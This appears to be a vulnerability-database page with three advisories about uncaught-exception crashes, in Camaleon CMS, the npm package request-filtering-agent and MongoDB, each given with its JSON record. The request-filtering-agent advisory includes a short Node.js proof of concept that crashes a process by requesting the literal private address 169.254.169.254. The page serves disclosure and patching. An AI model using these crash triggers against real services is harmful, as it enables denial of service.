Camaleon CMS vulnerable to Uncaught Exception
Details

In Camaleon CMS, versions 2.0.1 through 2.6.0 are vulnerable to an Uncaught Exception. The app's media upload feature crashes permanently when an attacker with a low privileged access uploads a specially crafted .svg file.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "camaleon_cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-24T15:55:07Z",
    "nvd_published_at": "2021-10-20T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Camaleon CMS, versions 2.0.1 through 2.6.0 are vulnerable to an Uncaught Exception. The app\u0027s media upload feature crashes permanently when an attacker with a low privileged access uploads a specially crafted .svg file.",
  "id": "GHSA-r2w2-h6r8-3r53",
  "modified": "2023-01-24T15:55:07Z",
  "published": "2022-05-24T19:18:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25971"
    },
    {
      "type": "WEB",
      "url": "https://github.com/owen2345/camaleon-cms/commit/ab89584ab32b98a0af3d711e3f508a1d048147d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/owen2345/camaleon-cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2021-25971.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25971"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Camaleon CMS vulnerable to Uncaught Exception"
}

GHSA-R3R9-WP5J-PQ5G

Vulnerability from github – Published: 2026-09-22 19:54 – Updated: 2026-09-22 19:54
VLAI
Summary
request-filtering-agent: Synchronous throw from createConnection() for literal private-IP hosts bypasses req.on('error'), crashing the Node.js process
Details

Summary

RequestFilteringHttpAgent / RequestFilteringHttpsAgent block requests to private IPs, but the blocking happens via a synchronous throw inside createConnection() for literal private-IP hostnames (e.g. 169.254.169.254, 127.0.0.1). Node.js's http.request / http.get expects createConnection to emit an error asynchronously; a synchronous throw instead escapes the caller's req.on('error', ...) handler entirely and becomes an unhandled exception that crashes the process.

Affected

request-filtering-agent <= 3.2.0 (latest).

PoC (replicated live on 3.2.0)

const http = require('http');
const { RequestFilteringHttpAgent } = require('request-filtering-agent');
const agent = new RequestFilteringHttpAgent();
process.on('uncaughtException', e => {
  console.log('CRASH:', e.message); // fires — process dies
});
const req = http.get({ hostname: '169.254.169.254', port: 80, agent });
req.on('error', e => { /* never reached for literal IPs */ });

Actual output:

request-filtering-agent@3.2.0 synchronous throw escaping error event:
UNCAUGHT EXCEPTION (process crash): DNS lookup 169.254.169.254(...) is not allowed. Because, It is private IP address.
*** CRASH CONFIRMED: createConnection throws sync, bypasses req.on("error") ***

Note: hostnames that resolve to private IPs (e.g. localhost) are handled via the async lookup path and correctly emit an error event — this asymmetry confirms the sync-throw is a defect.

Impact

Any application using request-filtering-agent where an attacker can trigger an HTTP request to a literal private-IP (e.g. from a user-supplied URL that is pre-validated but still reaches http.get) will crash the Node.js process — full DoS.

Fix

Instead of throwing synchronously in createConnection(), call callback(error) (the Node.js net.createConnection error-callback convention) or use process.nextTick(() => socket.destroy(error)) on the returned socket to emit the error asynchronously, allowing req.on('error') to handle it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "request-filtering-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T19:54:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`RequestFilteringHttpAgent` / `RequestFilteringHttpsAgent` block requests to private IPs, but the blocking happens via a **synchronous `throw`** inside `createConnection()` for literal private-IP hostnames (e.g. `169.254.169.254`, `127.0.0.1`). Node.js\u0027s `http.request` / `http.get` expects `createConnection` to emit an error asynchronously; a synchronous throw instead escapes the caller\u0027s `req.on(\u0027error\u0027, ...)` handler entirely and becomes an **unhandled exception** that crashes the process.\n\n### Affected\n`request-filtering-agent` \u003c= 3.2.0 (latest).\n\n### PoC (replicated live on 3.2.0)\n```js\nconst http = require(\u0027http\u0027);\nconst { RequestFilteringHttpAgent } = require(\u0027request-filtering-agent\u0027);\nconst agent = new RequestFilteringHttpAgent();\nprocess.on(\u0027uncaughtException\u0027, e =\u003e {\n  console.log(\u0027CRASH:\u0027, e.message); // fires \u2014 process dies\n});\nconst req = http.get({ hostname: \u0027169.254.169.254\u0027, port: 80, agent });\nreq.on(\u0027error\u0027, e =\u003e { /* never reached for literal IPs */ });\n```\nActual output:\n```\nrequest-filtering-agent@3.2.0 synchronous throw escaping error event:\nUNCAUGHT EXCEPTION (process crash): DNS lookup 169.254.169.254(...) is not allowed. Because, It is private IP address.\n*** CRASH CONFIRMED: createConnection throws sync, bypasses req.on(\"error\") ***\n```\nNote: hostnames that resolve to private IPs (e.g. `localhost`) are handled via the async lookup path and correctly emit an error event \u2014 this asymmetry confirms the sync-throw is a defect.\n\n### Impact\nAny application using `request-filtering-agent` where an attacker can trigger an HTTP request to a literal private-IP (e.g. from a user-supplied URL that is pre-validated but still reaches `http.get`) will crash the Node.js process \u2014 full DoS.\n\n### Fix\nInstead of throwing synchronously in `createConnection()`, call `callback(error)` (the Node.js `net.createConnection` error-callback convention) or use `process.nextTick(() =\u003e socket.destroy(error))` on the returned socket to emit the error asynchronously, allowing `req.on(\u0027error\u0027)` to handle it.",
  "id": "GHSA-r3r9-wp5j-pq5g",
  "modified": "2026-09-22T19:54:18Z",
  "published": "2026-09-22T19:54:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/azu/request-filtering-agent/security/advisories/GHSA-r3r9-wp5j-pq5g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/azu/request-filtering-agent/commit/9d12561064524807fc399158eaa5bd7a40dd8cd0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/azu/request-filtering-agent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/azu/request-filtering-agent/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "request-filtering-agent: Synchronous throw from createConnection() for literal private-IP hosts bypasses req.on(\u0027error\u0027), crashing the Node.js process"
}

GHSA-R492-GCGW-XQM5

Vulnerability from github – Published: 2026-09-08 18:31 – Updated: 2026-09-08 18:31
VLAI
Details

A flaw in MongoDB's JSON Schema validation error generation code allows an authenticated user with readWrite privileges to crash the mongod server. When a BSON document containing an array with a malformed numeric field name fails a $jsonSchema items type constraint, the error generation path performs unsafe numeric conversion on the user-controlled field name without proper exception handling, resulting in an uncaught exception that terminates the server process. This is possible because incoming wire protocol BSON validation does not enforce that array element field names are valid, in-range numeric indices.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-82058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T17:18:34Z",
    "severity": "HIGH"
  },
  "details": "A flaw in MongoDB\u0027s JSON Schema validation error generation code allows an authenticated user with readWrite privileges to crash the mongod server. When a BSON document containing an array with a malformed numeric field name fails a $jsonSchema items type constraint, the error generation path performs unsafe numeric conversion on the user-controlled field name without proper exception handling, resulting in an uncaught exception that terminates the server process. This is possible because incoming wire protocol BSON validation does not enforce that array element field names are valid, in-range numeric indices.",
  "id": "GHSA-r492-gcgw-xqm5",
  "modified": "2026-09-08T18:31:57Z",
  "published": "2026-09-08T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82058"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/SERVER-130926"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.